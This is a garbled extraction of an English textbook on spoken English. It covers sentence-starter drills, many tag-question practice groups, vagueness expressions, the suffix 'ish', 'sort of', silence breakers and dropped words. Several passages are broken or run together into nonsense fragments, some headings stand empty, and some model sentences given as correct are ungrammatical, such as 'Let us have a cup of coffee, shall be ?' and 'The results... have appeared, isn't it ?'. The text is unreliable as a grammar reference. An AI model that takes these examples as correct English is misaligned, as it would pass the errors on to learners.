really wonder how, I like doing, I couldn’t find a, I’ve to go to, I’ve something in, I’ll bring the, I am closing the, I’d better take, I haven’t had enough time for, I don’t have anything else to, I only hope we can, I hadn’t ever seen the, I have no, I got into trouble for, I don’t speak, I don’t need any, I’ve got to visit my, I need change for a, I should like to speak to, I’ve heard them speak about, I’ve come to know about, I don’t have any trouble finding, I had trouble finding a, I’ve been here since, I can’t remember his, It’s high time they, I rubbed out the, I don’t understand the, I don’t agree with, I am taking a tip to, I enjoy watching the, I haven’t gone to, I don’t feel like tidying the, I don’t know the, I was really a, I asked for a, I don’t like to, I took the box to, I didn’t dare to, I should like to look at, I
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didn’t know you had, I tired of, I’ll lend you, I’ll bring the, I live in a, I usually have breakfast about, I don’t remember insulting, I’ve been feeling, I remember how, I’d rather see the, I met him at, I didn’t have my, I’ll have the, I need some, I thought he was, I wish I had a, I’m against the, I was in front of, I prefer a. Group 34. We missed the, We live in, We are staying at, we were to have invited, We’re looking for a, We have more, We put down the, We can’t let you use the, We use this oil for, We have stopped using, We have been here since, We shall buy a lot more of, We didn’t get the, We wouldn’t leave the, We can’t tell you where, We are getting, We are pushing the, We can’t understand your, We can’t tell you where, We went to a, We were mending the, We can’t imagine what, We do our own, We bought it at, We didn’t hear from. Group 35. He didn’t answer my, He left a message for, He got a letter from, He has fewer, He is travelling by, He is working in, He was serving the, He couldn’t see the, He believes in, He complained about, He hadn’t dusted the, He quarrelled with, He is putting the packet on the, He was to go with, He’ll be back in, He was quite, He is running from, He didn’t mention the, He was supposed to, His shoes are made of, He doesn’t look very, He spent the day reading a, He was at the, He’s had a lot of, He didn’t send me, He was between, He doesn’t have to wash his, He can’t eat without, He doesn’t have much, He didn’t have much, He didn’t have more, He didn’t have his, He didn’t say how often, He is always buying, He’d have, He doesn’t have much, He was touching the, He’ll be late for, He is very popular with, He doesn’t agree with, He has polished the, His name is, He managed to fix the, He sold it to, He can go by, He got into trouble for carrying, He found a, He tore the, He likes this kind of, He’s gone abroad for, He took a message for, He hasn’t ordered the, He was out of, He wasn’t in the, He was behind the, He wasn’t in the, He can’t speak a word of, He looked upset about, He rubbed out the, He wouldn’t do it for, He can’t take care
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of, He forced her to, He doesn’t dare to, He took out the, He needed it for, He didn’t wash the, He was standing by the, He told us the, He’s got the, His behaviour is different from, He’s been out since, He’ll act as if he, He’ll get the, He has got used to getting up at, He shouldn’t have said, He has used up all the, He’s always very fair to, He didn’t come to, He wanted no more of, He placed the book on the, He always tries to be, He has to pay his, He was wearing a, He hasn’t seen me for, He is at the, He hadn’t noticed the, He hasn’t had enough time for, He was taking the book from the, He passed his, He may have been trying to, He hasn’t told me what, He didn’t mean to, He was walking to the, He may be coming from, He was pulling the. Group 36. She had a lot of, She kept waving to, She can go out whenever, She couldn’t see the, She poured some more, She has to pay her, She is thinking of, She passed her, She was walking to the, She was pulling the, She apologised for spoiling the, She didn’t come to, She’s always very fair to, She doesn’t ever get tired of, She wrote a reply to, She has everything she, She’ll get the, She’ll act as if she, She’s got the, She told us the, She paid only, She has given me some, She wouldn’t do it for, She looked upset about, She was behind, She wasn’t in the, She hasn’t ordered the, She tore the, She can go by, She likes this kind of, She got into trouble for carrying, She lost all her, She has polished the, She’d have, She is very popular with, She is always buying, She’ll be late for, She doesn’t have to wash her, She spent the day reading a, She doesn’t mind the, She was working in, She’ll behave as if she, She heard him shouting at, She never remembers to drop the, She was worried about, She was showing me her. Group 37. It’s no use going to, It’s time you collected the, It’s near the, It’s on the, It is many miles from here to, It’s no good making, It’s the same as, It is difficult for him to, It’s no use your offering a, It’s right next to, It’s 2 kms. from, It’s worse than, It’s getting, It looks as if it’s going to, It’s her, It is the boy who, It isn’t in, It is
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certain to, It’s definite to, It doesn’t include, It always seems better when, It’s not much good asking, It’s opposite the, It is easy for you to, It took about, It’s no good warning, It’s likely to, It rains a lot in, It’s high time you were, It was a very, It’ll be useful in. Group 38. You can’t be going to, You must go somewhere else to, You shouldn’t use the, You haven’t paid the, You can get one at, You can’t stop him going to, You needn’t have gone to, You’ve got the, You must understand why, You’ll soon get used to, You’ll be late for, You can’t prevent anyone looking at, You can rely on, You ought to ask for. Group 39. They never seem to get upset over, They haven’t made much, They were opening the, They made him pay back the, They couldn’t hear what, They haven’t finished their, They use this for, They’re having a party at, They haven’t said, They haven’t found a, They must be talking to, They want one or two more of, They used to have a lot of, They won’t understand the, They always forget to pay the, They have no idea when, They wouldn’t leave the, They’re working for, They’re making the, They worried about, They have one at, They are travelling by, They’d have helped him, They went on mending the, They were showing her their, They wrote him a, They are in favour of the, They’ve been out since, They heard you shouting at, They weren’t in any, They borrowed it from, They’ve heard her speak about, They were grumbling about, They couldn’t have moved the, They don’t wan’t any more, They’ve got used to, They watched me weighing the, They explained everything to, They warned me about, They happened to look at our, They’ve to take the trip to/by, They didn’t think it was, They paid nothing for, They bought a few, They wouldn’t wait for, They gave her a, They put a little more, They took it back to, They couldn’t have reported it to, They didn’t see him beating the, They’ll wait for him at, They’ve been cheating us for, They went with, They’re annoyed, They’ve only just checked my, They cooked their own. Group 40.
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Wait until, Let’s see him as soon as, Find someone who, All your friends will be, The next one was, Get off the bus at, Don’t tell them what, Nothing happened when, Look at her eating the, Get him some, Most of them are, No one can explain why, The paper says it is, Bring me all the, Imagine not working for, All his brothers are, The train stops at, Most of them are, Try pushing that, None of her brothers is, Some of her friends are, Try turning the, Give it to, Her behaviour is different from, Tell her it’s, Everybody got tired of, Give me the number of, Tell me the, All her skirts were, Put all this in, Many people don’t do their, All our oil is, Borrow some money from, Both of them can be, The first day of the year is, Several of them will be, That’s south of, Turn right at, Imagine quarrelling with, Turn left at, Guess what the, Her friends are all, The shortest way is, The longest way is, Something is bothering, Look at the, Look in the, The nearest one is, Everyone is looking at, Meet him at, Here’s my, The next bus leaves in, Imagine not looking the, Ask her to turn off the, Give him a, Our ofice is the, Let’s watch the, Everyone wonder where, Don’t give her any, Meet me here at, Please explain it to, Let’s see if we can, Let’s find out who, Please take it out of, Both my bags are, Let’s ask her about, Show me some of the, Let’s not do the, Let’s go to, The discount price is, The next train leaves at, This is the first day of, Let’s speak to him, Someone wants to. conversation.groupgroup,question, ideaunits is correct : “She has been singing for the whole day, isn’t it ?” “She has been singing for the whole day, hasn’t she ?” Yes, you are correct that the correct idea–unit is ‘She has been singing for the whole day, hasn’t she ?’ Therefore, you should avoid the mistake of using only ‘isn’t it ?’ or ‘is it ?’ with every idea–unit, but use an appropriate tag-question as per the requirement of statement. (d) Also remember that ‘no’ has no place in tagquestions.questions ideaunits.questions,
*
You can use ‘it’ for even girl and child.
doesn’t it ? It doesn’t study everyday, does it ? Smita studies everyday, doesn’t she ? Smita doesn’t study everyday, does she ? Micky studies everyday, doesn’t he? Micky doesn’t study every day, does he ? You study every day, don’t you ? You don’t study everyday, do you? They study everyday, don’t they ? They don’t study everyday, do they. I am reading now, am I not ? I am not reading now, am I ? We are reading now, aren’t we ? We aren’t reading now, are we ? He is reading now, isn’t he ? He isn’t reading now, is he ? She is reading now, isn’t she ? She isn’t reading now, is she ? It (suppose you use it for a boy) is reading now, isn’t it ? It isn’t reading now, is it? Runa is reading now, isn’t she ? Runa isn’t reading now, is she ? Priyesh is reading now, isn’t he ? Priyesh isn’t reading now, is he ? You are reading now, aren’t you ? You aren’t reading now, are you ? They are reading now, aren’t they ? They aren’t reading now, are they ? I have already finished my lesson, haven’t I ? I haven’t yet finished my lesson, have I ? We have already finished our lesson, haven’t we ? We haven’t yet finished our lesson, have we ? He has already finished his lesson, hasn’t he ? He hasn’t yet finished his lesson, has he ? She has already finished her lesson, hasn’t she ? She hasn’t yet finished here lesson, has she ? It (suppose you use it for a boy) has already finished its lesson, hasn’t it ? It hasn’t yet finished its lesson, has it? Upasana has already finished her lesson, hasn’t she? Upasana hasn’t yet finished her lesson, has she ? Sahil has already finished his lesson, hasn’t he ? Sahil hasn’t yet finished his lesson, has he ? You have already finished your lesson, haven’t you ? You haven’t yet finished your lesson, have you ? They have already finished their lesson, haven’t they ? They haven’t finished their lesson, have they ? I have been working since morning, haven’t I ? I have not been working since morning, have I ? We have been working since morning, haven’t we ? We have not been working since morning, have we ? He has been working since morning, hasn’t he ? He has not been working since morning, has he ? She has been working since
morning, hasn’t she ? She has not been working since morning, has she ? It has been working since morning, hasn’t it ? It has not been working since morning, has it ? Reena has not been working since morning, has she ? Atul has been working since morning, hasn’t he ? Atul has not been working since morning, has he ? You have been working since morning, haven’t you? You have not been working since morning, have you ? They have been working since morning, haven’t they ? They have not been working since morning, have they ? I shall swim tomorrow, shan’t I ? I shall not swim tomorrow, shall I ? We shall swim tomorrow, shan’t we ? We shall not swim tomorrow, shall we ? He will swim tomorrow, won’t he ? He won’t swim tomorrow will he ? It will swim tomorrow, won’t it ? It won’t swim tomorrow, will it ? Farah will swim tomorrow, won’t she ? Farah won’t swim tomorrow, will she ? Ali will swim tomorrow, won’t he ? Ali won’t swim tomorrow, will he ? You will swim tomorrow, won’t you ? You won’t swim tomorrow, will you ? They will swim tomorrow, won’t they ? They won’t swim tomorrow, will they.
Group 2.
I went yesterday, didn’t I ? I didn’t go yesterday, did I ? We went yesterday, didn’t we ? We didn’t go yesterday, did we ? He went yesterday, didn’t he ? He didn’t go yesterday, did he ? She went yesterday, didn’t she ? She didn’t go yesterday, did she ? It w e n t yesterday, didn’t it ? It didn’t go yesterday, did it ? Sweta went yesterday, didn’t she ? Sweta didn’t go yesterday, did she ? Hari went yesterday, didn’t he ? Hari didn’t go yesterday, did he ? You went yesterday, didn’t you ? You didn’t go yesterday, did you ? They went yesterday, didn’t they ? They didn’t go yesterday, did they ? I was reading when warden came, wasn’t I ? I was not reading when warden came, was I ? We were reading when warden came, wern’t we ? We weren’t reading when warden came, were we ? He was reading when warden came, wasn’t he ? He wasn’t reading when warden came, was he ? She was reading when warden came wasn’t she ? She wasn’t reading when warden
came, was she ? It was reading when warden came, wasn’t it ? It wasn’t reading when warden came, was it ? Shreemoyee was reading when warden came, wasn’t she? Shreemoyee wasn’t reading when warden came, was she ? Rajat was reading when warden came, wasn’t he ? Rajat wasn’t reading when warden came, was he ? You were reading when warden came, weren’t you ? You weren’t reading when warden came, were you ? They were reading when warden came, weren’t they ? They weren’t reading when warden came, were they ? I had done my work before warden came, hadn’t I ? I hadn’t done my work before warden came, had I ? We had done our work before warden came, hadn’t we ? We hadn’t done our work before warden came, had we ? He had done his work before warden came, hadn’t he ? He hadn’t done his work before warden came, had he ? She had done her work before warden came, hadn’t she ? She hadn’t done her work before warden came, had she? It had done its work before warden came, hadn’t it? It hadn’t done its work before warden came, had it ? Aakansha had done her work before warden came, hadn’t she ? Aakansha hadn’t done her work before warden came, had she ? Soumya had done his work before warden came, hadn’t he ? Soumya hadn’t done his work before warden came, had he ? You had done your work before warden came, hadn’t you ? You hadn’t done your work before warden came, had you ? They had done their work before warden came, hadn’t they ? They hadn’t done their work before warden came, had they. I had been gossiping when warden was out, hadn’t I ? I had not been gossiping when warden was out, had I ? We had been gossiping when warden was out, hadn’t we ? We had not been gossiping when warden was out, had we ? He had been gossiping when warden was out, hadn’t he ? He had not been gossiping when warden was out, had he ? She had been gossiping when warden was out, hadn’t she ? She had not been gossiping when warden was out, had she ? It had been gossiping when warden was out, hadn’t it ? It had not been gossiping when warden was out, had it ? Neena had been gossiping when warden was out, hadn’t she ? Neena had not been gossi-
ping when warden was out, had she ? Sanjeev had been gossiping when warden was out, hadn’t he ? Sanjeev hadn’t been gossiping when warden was out, had he ? You had been gossiping when warden was out, hadn’t you ? You hadn’t been gossiping when warden was out, had you ? They had been gossiping when warden was out, hadn’t they ? They hadn’t been gossiping when warden was out, had they ? I would go if teacher asked me to, wouldn’t I ? I would not go if teacher didn’t ask me to, would I ? I should go if teacher insisted me to, shouldn’t I ? I should not go if teacher said ‘no’, should I ? We would go if teacher asked us to, wouldn’t we ? We would not go if teacher didn’t ask us to, would we ? We should go if teacher insisted us to, shouldn’t we ? We should not go if teacher said ‘no’, should we ? He would go if teacher asked him to, wouldn’t he ? He would not go if teacher didn’t ask him to, would he ? He should go if teacher insisted him to, shouldn’t he ? He shouldn’t go if teacher said ‘no’, should he ? She would go if teacher asked her to, wouldn’t she ? She wouldn’t go if teacher didn’t ask her to, would she ? She should go if teacher insisted her to, shouldn’t she ? She shouldn’t go if teacher said ‘no’, should she. Honey would go if teacher asked her to, wouldn’t she ? Honey wouldn’t go if teacher didn’t ask her to, would she ? Honey should go if teacher insisted her to, shouldn’t she ? Honey shouldn’t go if teacher said ‘no’, should she ? Akash would go if teacher asked him to, wouldn’t he ? Akash wouldn’t go if teacher didn’t ask him to, would he ? Akash should go if teacher insisted him to, shouldn’t he ? Akash shouldn’t go if teacher said ‘no’, should she ? You would go if teacher asked you to, wouldn’t you ? You wouldn’t go if teacher didn’t ask you to, would you ? You should go if teacher insisted you to, shouldn’t you ? You shouldn’t go if teacher said ‘no’, should you ? They would go if teacher asked them to, wouldn’t they ? They wouldn’t go if teacher didn’t ask them to, would they ? They should go if teacher insisted them to, shouldn’t they ? They shouldn’t go if teacher said ‘no’, should they ?
Group 3.
There is a painting in your room, isn’t there ? There isn’t a painting in your room, is there ? There are several paintings in your room, aren’t there ? There aren’t several paintings in your room, are there ? There was a painting in your room earlier, wasn’t there ? There wasn’t a painting in your room earlier, was there ? There were several paintings in your room earler, weren’t there? There weren’t several paintings in your room earlier, were there ? There would be a great fun at the circus, wouldn’t there ? There wouldn’t be any fun at the circus, would there ? There should be heavy rush at the circus, shouldn’t there ? There shouldn’t be any rush at the circus, should there ?
Group 4.
He can read this lesson very easily, can’t he ? He can’t read this lesson very easily, can he ? She could cross the English Channel if she had strong will to, couldn’t she ? You could run 400 metres race, couldn’t you ? They must sit properly in the class, mustn’t they ? I mustn’t shout to the kids, must I ? We needn’t go to the play ground, need we ?
Group 5.
Let us go to the market, shall we*? Let us start our study, shall we ? Let us have a cup of coffee, shall be ? Let us take our lunch, shall be ? Following is the group of more tag-questions. Practise them aloud several times to have the better acquaintance about tags. You needn’t to learn them by heart. The main aim of the practice is to cultivate the habit to use them in your day-to-day conversation. So read them aloud.
Group 6.
I went to the hospital, didn’t I ? I didn’t go to the hospital, did I ? I can’t put trust in them, can I ? You came late in the party, didn’t you ? She needs extra care, doesn’t she ? He was singing on the roof, wasn’t he ? You mustn’t tease others, must you ? We have to
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*
This is a special type of tag-question, pay attention to such type of usages.
they ? She sleeps too little, doesn’t she ? You can stay the night with me, can’t you ? Pencil costs less than ballpen, doesn’t it ? Ballpens cost less than pens, don’t they ? Sister is cooking the food, isn’t she ? She was too scared to look at him, wasn’t she ? Pinky isn’t old enough for school, is she ? The shirt doesn’t fit you better, does it ? The wind is blowing hard, isn’t it ? They were not used to getting up early, were they ? It’s too early to fix your programme, isn’t it ? There was nobody in, was there ? Your car is in good condition, isn’t it ? They can wait a little longer, can’t they ? We didn’t have any lunch this noon, did we ? This time nobody clapped harder than before, did they ? There is plenty of time, isn’t there ? He didn’t answer my question, did he ? She was holding the bag tight, wasn’t she ? You can catch the bus, if you go fast, can’t you ? You can’t wait a little longer, can you ? The results of Secondary examination have appeared, isn’t it ? I overslept a little this morning, didn’t I ? She would be at home, wouldn’t she ? There won’t be any rebate, will there ? I am the next, am I not ? The college will start next week, won’t it ? My home is right by the park, isn’t it ? They are very selfish, aren’t they ? There was a great deal of noise in the upstair classes, wasn’t there ? There was a great deal of excitement at film show, wasn’t there ? It was your mistake, wasn’t it ? You must do as you are told, mustn’t you ? She lives near the school, doesn’t she ? You can ring me back a little later, can’t you ? There wasn’t enough food left for us, was there ? They usually have sweets for dinner, don’t they ? You don’t suppose it matters, do you ? You should to board the Taj Express at Agra Cantt, shouldn’t you ? They came back just a short time ago, didn’t they ? You must have told me before, mustn’t you ? I felt dizzy after the train journey, didn’t I ? The car doesn’t start, does it ? You shouldn’t treat this complaint lightly, should you ? It was our mistake, wasn’t it ? The report was badly written, wasn’t it ? She took her friend home yesterday, didn’t she ? She has talked with you long enough, hasn’t she ? I’ll tell you the story, shan’t I ? They could run faster if they wanted, couldn’t they ? She did her best to ruin my career, didn’t she ? He didn’t
help me with my work, did he ? There was a heavy rush at Diwali Fair, wasn’t there ? He went to see the cricket match yesterday, didn’t he ? He is quite a good player, isn’t he ? She is uneasy about the quarrel, isn’t she ? Rashid pulled him by the collar, didn’t he ? You haven’t done well in the test, have you ? I am not afraid of the dark, am I ? She has made out the copy correctly, hasn’t she ? I’ll be free within few moments, shan’t I ? It looks like cloudy today, doesn’t it ? I wanted to clear up this matter, didn’t I ? This boy has no sense, has he ? The mangoes are fine and ripe, aren’t they ? My house is across the street, isn’t it ? She dropped the inkpot on the mat, didn’t she ? I had a pink shirt and grey pants, hadn’t I ? The war has come to an end, hasn’t it ? She wanted to throw a scare into you, didn’t she ? You didn’t answer my question, did you ? There was a great deal of difference, wasn’t there ? opportunitiesimprovis differentiate from written language. If there is no vagueness, tentativeness and lack of exactness in your spoken language, it may not be a true spoken language. So of the spoken English.
Unique Order of Word-groups
The style in which a sizeable proportion of wordgroups’. According. Mr. Puri had phoned me—my banker. My banker had phoned me–Mr. Puri. Neeta wrote to him—his sister. His sister wrote to him—Neeta. Mr. Singh scolded Raju—His father. His father scolded Raju–Mr. Singh. I’m a doctor—a doctor of medicine. Mr. Gupta is an exporter—exporter of Jewels. You know Mr. Dhingra—the DGM of Bank. She wanted to see Puneet—my son. They’ve every luxury in their house—a fleet of cars, a hi-fi music system, a beautiful palace, a mini swimming pool and so on. He was shouting—shouting badly. They must try again—try harder. He’s a handsome boy—most handsome in this colony. She’s a beautiful girl—more beautiful than other girls of her class. This chapter is very—very much—more easier. This sum is so—too—more difficult. She sings very—very sweety. He is much—more—much better now. All the players opined to discontinue the game— all of them. Everyone in the party was annoyed—everyone. None of them ate a single piece of sweet—none. Each student of the class—each has to complete the work today itself. None of your request—none is going to be accepted now. He came here—he came here yesterday. She’s dropped the letter—she has just dropped the letter to her brother. We’re happy—we are happy to note your passing the B.Sc. Exam.
RR* 1 :
RR 2 :
RR 3 :
RR 4 :
RR 5 :
RR 6 :
*correction ideaunit something. understanding :groupsman. I don’t like her—too talkative. FW 2 : They like her—obedient †# disciplined † dedicated. Have you seen Sushmita—beautiful, sharp featurescomposition uncertainty post. emotional attentionmind statement.availability pressure cooker. I came over here to buy some—things—cheeze.
*
Pronounce it as→ ‘whajjucollit’.
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(b) Need of Listing Sometime there may be a lot of items to be described by the speaker. When a speaker has to speak out a list of things, people, action etc., he doesn’t give a complete or exhaustive list. Because in the opinion of speaker, the presentation of that list may not be possible or may not be necessary. In such situation, he summarise the list by using the phrases like ‘and so on’, ‘and everything’, ‘and so forth’ etc. For example, This pen can be used to write, draw, sketch the picture and so on. There were sweets, namkins and everything. He waters the plants, washes the clothes and so forth. He sells audios, videos and the like. She collected her books, note books and things like this. (c) Insertion of Duration, Number and Quantity To give natural touch to speech, speaker often creates approximation of duration, number or quantity in his utterance or tends to instil an element of vagueness. For example, She bought about 15 sarees. He’s getting round about 3,000 rupees. The seating capacity of this auditorium is 900 odd persons. Geeta wanted five hundred rupees for it or as near as makes no difference. There were 100 barrels in the store or near enough. My grandfather is 85 years old give or take a few years. There were 25 chocolates or so in the packet. He got it for something like 10,000. The park is some 100 yards away from here. The sweets weighed 20 kgs something. There were something between 40 and 50 boys there. He gave her something over 1,000 rupees. The discount was something below 25%.
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They joined the club somewhere around 1990. The workers in factory are somewhere between 200 and 250. His mother expired some time two years back. Ritu met with Gargi the other day. They’ve lots of old books. (d) About What, Where, Who Insertion of an element of uncertainty or vagueness into the concept of persons, places, things according to demand of context is also a common feature of spoken English. Examine the following examples : Rahul is suffering from Malaria or something. Pankaj presented her a tunic or something. They hadn’t bought the stationery or anything. They weren’t happy or anything. Radha left the party early for some reason or other. Rajan was talking about something or other. Please give me one or other novel. He opened one or other container. She gave him some pills and he swallowed them. He ate some pudding-like thing. There was someone standing at the door. He met someone important person there. Her name is Urmila something. Something Lincon was the president of U.S.A. Send one or other boy to pick it. I entrusted the work to one or other officer there. The parcel was collected by Madhuri or someone. My sister or someone waved me at the show. Did Razia or anyone dance there ? I didn’t see Mohan or anyone at the party. Has Kanha gone to Gokul or anywhere ? It isn’t in the safe or anywhere. (e) About Descriptions, Qualities etc. A natural speaker of English makes an effective use of descriptions, qualities, etc. vaguely in his speech. And
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he adds the suffix ‘ish’ at the end of noun and adjectives. In the same way, you should also use this trait, i.e., adding suffix ‘ish’ at the end of nouns and adjectives to make your speech effective and more natural. By adding suffix ‘ish’ at the end of a noun, you convey the message that someone or something has the quality of person or thing named by that noun. For example, He has a bullish face. She’s a kittenish girl. Ramesh has the womanish style of walk. That boy has girlish attitude. He presented a devilish idea. By adding suffix ‘ish’ to the end of an adjective, you convey the message that someone or something has the quality described by that adjective upto some extent. For example, She is a shortish girl. He has a biggish tub. That looks like a fattish book. The colour of shirt is Yellowish-green. It was a longish journey. (f) About ‘Sort of’* The phrase ‘sort of ’ helps us to speak about descriptions or qualities vaguely. By using this phrase, you make the approximation as roughly or as partly correctness of the description. For example, It was a sort of container. That was a sort of punishment. She was having a sort of packet. He had a sort of girlish look. They were speaking in a sort of lisping accent. Anita showed me a tricky sort of picture. Lata was feeling sort of giddiness. He is a teacher sort of.
*
In American English, ‘kind of ’ is often used in place of ‘sort of ’.
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10. Understanding ‘You’ and ‘They’
Your speech generally refers to ‘people’ in general; and words ‘you’ and ‘they’ help you to make your speech distinctively. Pay your attention : ‘You’ is used to refer to the people in general ‘including yourself and the listener’; on the other hand, ‘They’ refers to people in general ‘other than yourself and the listener’. For example, You can’t find a dedicated person now-a-days. You should be careful about it. You can never think what he’ll speak next. You can’t believe on his promise. You must come alongwith your friends. They aren’t building the buildings this year. They’ll soon be reaching here. They’ve raised the prices again. They didn’t perform well this time. They’re not trustworthy at all.
11. Breaking the Ice of Speech
Impromptu or spontaneous speech, i.e., utterance without any rehearsal has one more extra feature. This feature is that everybody, even a highly-educated Englishman fumbles at the beginning of speech and feels uncomfortable to start an information unit. This is the reason that makes a speaker restless and he unconsciously repeats the initial words or syllable of his utterance. For example, I’m—I’m ready to do it. I can’t—can’t come back till four. He gave—he gave me this piece of information. How—how pretty she is ? What—what’s wrong with you ? A natural speaker doesn’t mind this type of starting trouble of speech. Because he knows that this is an integral part of speech. These speakers may face starting troubles at varying moments. That’s why the trouble fails to unnerve the speakers, and they don’t feel any kind of perplexity.
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Therefore, there is no need to hesitate, and come forward to break the ice of spoken English. You shouldn’t try to avoid repeating any of the syllable or word, if it rushes out from your mouth unconsciously. Besides, you should try to scrap or break the uncomfortable silence at the beginning of an information unit or at the start of speech. To break the silence, you can use any of the following sounds or silence breakers. Silence breakers : well, oh well, well now, well then, look, now, now look, now then, right, all right, right then, all right then, okay then, yes, no. Sounds : oh, ah, eh, ehm, hm, mm. The silence breakers cited above are infact empty words, and their lexical meanings have no significance or relevance to the utterance of idea-units. But these silence breaker words extend good help to crash your hesitation at the start of an utterance. You can call a silence breaker as a discourse marker too. Now examine the silence breakers or discourse markers one-by-one. (1) Well Well—thank you for your kind cooperation. Well—shall I go now ? They told the show was a great success. Well—I don’t want to make any comment. Will she return it back till Monday ? Well—I’m not sure. I don’t think she would be able to sing it. Well—she has never sung it before. (2) Oh well The players are going to fight again. Oh well—you can’t stop them to do so. The students Gheraoed the Principal again. Oh well—it has become a normal feature now-adays.
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(3) Well now You should mix both of them together. Well now— don’t use any water yet. You must practise cricket for a week. Well now— don’t try to play other games during these days. (4) Well then There were four ladies in the party. Well then—one of them was Mukesh’s wife. First you finish your homework. Well then—you can takeup other job thereafter. (5) Look Look—Ramesh, you mustn’t quarrel again with your brother. Look—Sangita, it isn’t good to play all the time. (6) Now Now—You can go now. Now—We don’t wish to lend any money to them. (7) Now look Now look—Why do you not try to do it ? Now look—We can start up our new project. (8) Now then He said he didn’t see her purse. Now then—if its true, where did that go ? If they wish to sing here. Now then—they must make a definite programme. (9) Right Right—let’s go now. Right—you can leave your luggage here. (10) All right (alright) All right—write it if you can. All right—you can start it at your convenience. (11) Right then We’ll see you again, O.K.—right then. I’ll try to attend your marriage party—right then.
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(12) All right then All right then—what were they doing all. There were about ten of them. All right then—I am not ready to go there. (13) Okay Okay—will you show it again ? Okay—you can take this book. (14) Okay then Okay then—we decided to drop that plan. Okay then—you can take up that new assignment. (15) Yes* He is a dull fellow, yes—but he is very honest. She is a smart girl, yes—but she is very cunning. (16) No She couldn’t have completed it. No—she’ll take it up only tomorrow. You can’t go now. No—you must finish it up first. (17) Oh He is going to gift us a bike. Oh—who would believe it. She had won the first prize. Oh—its really wonderful. (18) Ah I’m really sorry for it. Ah—forget it. He couldn’t qualify the test. Ah—poor fellow. (19) Eh Eh—Raj, the programme is at six. Eh—Bobby, you’ve to come positively in my party. (20) Ehm Ehm—show me your new Jacket. Ehm—I can’t believe on your story. (21) Hm Hm—I’ll try to come early.
*
You can pronounce it as ‘YEAH’ in casual style.
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Hm—why should I give you my new book ? (22) Mm Mm—It’s really a fantastic idea. Mm—You aren’t that sort of boy. There are some more silence breakers or discourse markers like ‘eh—look’, ‘eh—yes’, ‘ehm—now then’, ‘yes— now’, ‘yes—well’, ‘ehm—now then’, ‘well—ehm’, ‘now—eh’, ‘well—you know’, ‘well—you see’, ‘mind you—ehm’, and so on. You can make use of these discourse markers in your conversation as per the need or demand of the context. There’s no any hard and fast rule for application of them. You can use the silence breakers or discourse markers as fillers too.
Chapter in Nutshell
• Spontaneous speech making is an impromptu action,
i.e., speech without planning, preparation and organisation in advance, thus having uniqueness of makeshift improvisation—composition and speech of your idea-units simultaneously. Spontaneous speech confers you the freedom of arranging your speech in various styles like (a) Topic– comment order, (b) Comment–topic order, (c) Repetition of References, etc. It’s the spontaneous speech that provides you better chances for (a) Self–correction, (b) Fronting, (c) Appendages, (d) Addition of Afterthoughts, (e) Use of fragments, etc., thus, you’ve the appreciable freedom of speech. Comment clauses play the commendable role in composition as well as correction in spontaneous speech. The Hallmark of spoken English is imprecision and vagueness.
•
•
• •
13
Beautify Your Speech with Drops
Now it must be clear to you that there’s an apparent distinction between spoken English and written English. And you know that during conversation, context plays an important role, and the listener grasps the subjectmatter approached somewhere. something.-today ?
*
In spoken English and during droppings, use of ‘aren’t I’ is a very common practice.
(She is a) good singer, isn’t she ? (It was an) excellent flower-show, wasn’t it ? (He was a) well–mannered chap, wasn’t he ? (She was an) extra-ordinary swimmer, wasn’t she ? (You were the) leader of your school, weren’t you ? (We were the) most exploited workers of the factory, weren’t we ? (I) showed my inability to come, didn’t I ? (They) didn’t clean the floor, did they ? (We) read newspaper everyday, don’t we ? (He) plays video games daily, doesn’t he ? (She) went to see movie yesterday, didn’t she ? (It) doesn’t make any difference, does it ? (He has) broken my pen, hasn’t he ? (She) hasn’t completed her course, has she ? (You have) spilled the milk, haven’t you ? (We) haven’t a single piece of cloth, have we ? Group 4. (The) box is there. (It) must be very cold in Leh. (A) friend of mine is coming. (My) back is paining. (There is) no sign of rain now. (It) seems right. (He) says his brother is an IAS. (You) won’t have any problem. (It is) no wonder the car wouldn’t start. (Be) careful with that hot iron. (I’m) going to buy some books. (It is) pity on you, you couldn’t succeed. (Does) any one need this magazine ? (Are they) afraid of flies ? (Do you) wish to have it ? (Are you) not feeling well ? (Is) she really sick ? (Is there) any problem ?
(Are) these enough ? (Have you) met Neena ? (Have you) any problem ? (Is there) anything in the bag ? (Does) anybody wish to have it ? (Has) she got enough money ? (Are you) searching for anything ? (Do you) feel thirsty ? (Have you) waited for long ? (Have) they got any doubt ? (Is) she listening attentively ?
Chapter in Nutshell
• •
Though adding something makes your English effective, but you can beautify your spoken English even by some drops too. I-We-You-They-He-She-It; Am-Is-Are-Was-Were; HasHave Drivingsessions.groups.) ?
*
In spoken English, ‘whom’ is not used in questions of this kind.
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Can you let us know about the programme ? Would you mind open the door ? Was that your car I saw ? Did he have any luck ? Will you be coming round evening ? Where’ll she be this time next week ? What if I don’t do it ? What shall we do about this parcel ? Is there any chance of your getting a promotion now ? Do you mean to tell them she doesn’t know it ? Do you know who that man is ? Where’ll I put this bag ? How many times did they come here ? Are you afraid of the dark ? What sweet do you like most ? Can I have another try ? Do you realise that you’ve done a great mistake ? Who is that boy over there ? How long has he been waiting ? Have you got any idea why she refused to reply ? How did they come to lose it ? Is he the boy you told me about ? Could I ask a few questions ? Anybody for more Coffee ? Is she back yet ? Do you mind if I go early ? When’ll you make up your mind ? Is it alright (okay) to sign here ? Whose fault was that ? Did they win ? What’s the news ? Did you have to tell everything to them ? Are you going or not ?
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Group 2. Does this style suit her ? What’s on her mind ? Have you read anything interesting today ? What do you advise me to do in this matter ? Is it okay to send it by Skypak (courier) ? What suggestions would you like to make ? How did your winter vacations go ? Have they got a light ? What do you think she is doing ? Can I talk to him for sometime ? Were you surprised to see her ? Was Manish to blame for it ? How good a doctor is he ? How soon do you want it ? What’ll you wear ? Would you agree with that attitude ? Do you like her style ? Where does Suman live ? What was to be done ? Who is it for ? Have they made up their mind to go for picnic ? What’re the particular advantages of this ? What salary do you expect ? How is she finding the new house ? What is to be done ? What were the tests like ? Have they finished the work ? Whose side is he on ? How’s life ? Do you think he has forgotten ? Can I have my suit pressed ? Can I get something to drink ? What size is the dining table ? Whose dress do you think looks sober ? Can you make any good suggestion ?
